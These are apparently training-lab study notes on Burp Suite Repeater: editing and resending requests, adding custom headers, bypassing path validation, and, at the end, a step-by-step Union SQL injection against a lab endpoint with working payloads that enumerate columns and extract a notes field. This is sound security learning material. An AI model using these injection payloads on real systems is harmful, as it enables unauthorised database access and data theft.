Burp Repeater is the main manual testing tool inside Burp Suite. It lets you take a captured request, edit it, resend it as many times as needed, and compare how the server reacts to each change. This is one of the highest-value skills for PT1 web testing.
Core idea: send one request, change one thing, send again, and learn exactly which input controls the application's behaviour.
Repeater is designed for manual request crafting and iterative testing. Most of the time you will send a real browser request from Proxy into Repeater, then adjust parameters, paths, headers, cookies, or body content.
Ctrl + R, edit, resend, compare.The interface is built for fast iteration and side-by-side inspection of requests and responses.
Useful habit: keep one clean baseline request and clone or duplicate it mentally when testing variations, so you always know what changed.
Ctrl + R or right-click Send to Repeater.Example: changing the Connection header from close to open can change the returned header value and confirms you are successfully manipulating the request path through the server stack.
Repeater gives several ways to inspect the response depending on what you are testing.
What usually matters most: status code, reflected input, response length, interesting error text, changed headers, and whether the page content meaningfully changes.
Inspector is the structured editor on the right-hand side of Repeater. It makes request tampering faster and safer than manually editing the raw request when you only want to change one component.
Good use case: add unusual headers, change cookies, or switch request method/protocol without manually rebuilding the whole request.
The room first shows a simple example: send a request for / to Repeater, then add a custom header and observe the change in the response.
GET / HTTP/1.1
Host: MACHINE_IP
Connection: close
FlagAuthorised: True
This is a clean demonstration of why Repeater matters: the browser UI may never expose this behavior, but direct request editing will.
The room challenge also highlights a common pattern: applications may appear to validate numeric endpoints, but insecure backend validation can still be bypassed by manually changing the path in Repeater.
/products/3.PT1 lesson: never trust client-side navigation, disabled UI, or “normal” link patterns. Repeater is how you test what the server actually enforces.
The room finishes with a more realistic example: exploiting a Union SQL Injection in the ID portion of the /about/ID endpoint using Repeater.
Add a single quote to the path and resend:
GET /about/2' HTTP/1.1
Host: MACHINE_IP
A 500 Internal Server Error strongly suggests the query has been broken.
The returned error reveals the backend query:
SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'
This gives you the table name and the number of selected columns immediately.
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"
This reveals columns such as id, firstName, lastName, pfpLink, role, shortRole, bio, and notes.
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1
Why Repeater is perfect here: you can tweak one payload at a time, observe exact server errors, and build the attack incrementally without losing context.